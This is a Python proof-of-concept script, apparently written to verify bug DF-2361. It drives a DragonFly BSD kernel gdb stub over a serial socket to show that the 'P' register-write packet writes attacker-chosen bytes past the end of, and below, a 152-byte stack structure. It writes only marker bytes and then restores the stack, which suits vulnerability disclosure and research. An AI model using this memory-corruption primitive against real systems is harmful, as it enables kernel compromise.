DF-2361 / exp_p_oob.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 | #!/usr/bin/env python3 # exp_p_oob.py -- DF-2361 verification: 'P' packet out-of-bounds stack write. # # Claim (sys/cpu/x86_64/misc/x86_64-gdbstub.c:561-578): # P handler validates regno only with `regno < NUM_REGS` (NUM_REGS=22, # line 442) but `struct x86_64regs registers` is 152 bytes = 19 slots. # - regno 19/20/21 -> hex2mem writes 8 attacker bytes at ®isters+152/160/168 # (past the end of the 152-byte stack object); # - hexToInt() (line 384) accepts "ffffffff" -> regno = -1 (int), passes # regno < 22 -> write at ®isters-8. # # Proof strategy, entirely through the REAL stub on the live guest: # 1. enter stub (root sysctl debug.enter_debugger=gdb -- the sanctioned # activation; attacker model: whoever talks to the gdb debug console), # 2. 'g' packet -> 304 hex chars => sizeof(registers)==152 (structure proof), # 3. locate ®isters on the stopped stack by matching the T05 rip/rbp/rsp # triple at struct offsets 128/48/56, # 4. in-bounds control: P18 (offset 144, cs/ss slot), # 5. OOB: P19 -> bytes appear at ®isters+152..159, fully attacker-chosen, # struct itself untouched, # 6. OOB far: P21 -> ®isters+168..175, # 7. negative index: Pffffffff (regno=-1) -> ®isters-8..-1, # 8. repair everything, detach ('D'), guest keeps running. import sys, os, time, subprocess, json sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)))) from rsp import SerialPeer, parse_t05, cks SOCK = os.environ.get("DF_SOCK", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/df236x/ser.sock") VMSH = os.environ.get("DF_VMSH", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/vm.sh") RAWLOG = os.environ.get("DF_RAWLOG", "/tmp/opencode/p2361-raw.log") P21 = 0x4141414141414141 # never written; marker comment only def hx(v): return "%016x" % v def main(): results = {} p = SerialPeer(SOCK, RAWLOG, name="p-oob") print("[*] triggering stub entry via sysctl debug.enter_debugger=gdb (root ssh)") try: subprocess.run([VMSH, "run_root", "sysctl -w debug.enter_debugger=gdb"], timeout=8, capture_output=True) except subprocess.TimeoutExpired: print("[*] ssh blocked as expected (kernel stopped in stub)") m = p.wait(r"\$T[0-9a-fA-F]{2}[^#]*#[0-9a-fA-F]{2}", 25) if m is None: print("[!] no T-packet from stub -- FAIL"); p.close(); sys.exit(2) t05 = parse_t05(m.group(0)[1:-3].decode()) p.send(b"+") # release stub's putpacket loop print("[+] stub handshake: T05 fields rip=%s rbp=%s rsp=%s" % (t05.get("10"), t05.get("06"), t05.get("07"))) rsp = int(t05["07"], 16) r = p.pkt("?") print("[+] '?' -> %r" % r); results["question"] = r # --- structural proof: sizeof(registers) --- g = p.pkt("g") print("[+] 'g' reply length = %d hex chars => sizeof(registers) = %d bytes" % (len(g), len(g)//2)) results["g_len"] = len(g) assert len(g) == 304, "unexpected register size" # --- locate ®isters on the stopped stack --- base = (rsp - 0x700) & ~7 blob = p.read_mem(base, 0x780) if blob is None: print("[!] stack read failed"); p.close(); sys.exit(2) rip = int(t05["10"], 16); rbp = int(t05["06"], 16) A = None for off in range(0, len(blob) - 152, 8): if int.from_bytes(blob[off+128:off+136], "little") == rip and \ int.from_bytes(blob[off+56:off+64], "little") == rsp and \ int.from_bytes(blob[off+48:off+56], "little") == rbp: A = base + off break if A is None: print("[!] could not locate registers struct"); p.close(); sys.exit(2) print("[+] ®isters = 0x%x (tf_rsp=0x%x, delta=%d)" % (A, rsp, A - rsp)) results["registers_va"] = hex(A) before = p.read_mem(A - 0x20, 0xE0) print("[*] stack around ®isters (before):") for i in range(0, len(before), 32): print(" 0x%x: %s" % (A - 0x20 + i, before[i:i+32].hex())) def slot(addr): return p.read_mem(addr, 8) # --- 1) in-bounds control: P18 -> cs/ss slot at offset 144 --- r = p.pkt("P18=" + "0011223344556677") b = slot(A + 144) ok18 = (r == "OK" and b == bytes.fromhex("7766554433221100")) print("[%s] P18 (offset 144, in-bounds): reply=%r bytes=%s" % ("+" if ok18 else "-", r, b.hex())) results["P18_inbounds"] = ok18 # --- 2) OOB write: P19 -> ®isters+152..159 --- marker = "a1a2a3a4a5a6a7a8" r = p.pkt("P19=" + marker) b = slot(A + 152) struct_ok = p.read_mem(A, 152) == before[0x20:0x20+152] ok19 = (r == "OK" and b == bytes.fromhex(marker)[::-1]) print("[%s] P19 (offset 152, OUT OF BOUNDS): reply=%r bytes_at_A+152=%s struct_untouched=%s" % ("+" if ok19 else "-", r, b.hex(), struct_ok)) results["P19_oob"] = bool(ok19 and struct_ok) # --- 3) OOB write far: P21 -> ®isters+168..175 --- marker2 = "feedfacecafebeef" r = p.pkt("P21=" + marker2) b = slot(A + 168) ok21 = (r == "OK" and b == bytes.fromhex(marker2)[::-1]) print("[%s] P21 (offset 168, OUT OF BOUNDS): reply=%r bytes_at_A+168=%s" % ("+" if ok21 else "-", r, b.hex())) results["P21_oob"] = ok21 # --- 4) negative index: Pffffffff -> regno=-1 -> ®isters-8 --- marker3 = "deadbeefbaadf00d" r = p.pkt("Pffffffff=" + marker3) b = slot(A - 8) okneg = (r == "OK" and b == bytes.fromhex(marker3)[::-1]) print("[%s] Pffffffff (regno=-1, ®isters-8): reply=%r bytes_at_A-8=%s" % ("+" if okneg else "-", r, b.hex())) results["Pneg_oob"] = okneg after = p.read_mem(A - 0x20, 0xE0) print("[*] stack around ®isters (after):") for i in range(0, len(after), 32): print(" 0x%x: %s" % (A - 0x20 + i, after[i:i+32].hex())) # --- repair so the guest survives for the next experiments --- rep = [] rep.append(("P18=" + before[0x20+144:0x20+152][::-1].hex())) rep.append(("P19=" + before[0x20+152:0x20+160][::-1].hex())) rep.append(("P21=" + before[0x20+168:0x20+176][::-1].hex())) rep.append(("Pffffffff=" + before[0x20-8:0x20][::-1].hex())) for cmd in rep: rr = p.pkt(cmd) print("[*] repair %r -> %r" % (cmd, rr)) fixed = p.read_mem(A - 0x20, 0xE0) == before print("[%s] repair verified: stack restored = %s" % ("+" if fixed else "-", fixed)) results["repaired"] = fixed # what lives above the struct? dump for the record above = p.read_mem(A + 152, 0x50) print("[*] bytes above struct (A+152..A+202): %s" % above.hex()) d = p.pkt("D") print("[+] detach 'D' -> %r" % d) results["detach"] = d # keep reading serial a moment to confirm the kernel resumed p.wait(r" restarted|db: |panic", 10) time.sleep(2) p.pump() p.close() print("[RESULT] " + json.dumps(results)) ok = results.get("P19_oob") and results.get("P21_oob") and results.get("Pneg_oob") sys.exit(0 if ok else 1) if __name__ == "__main__": main() |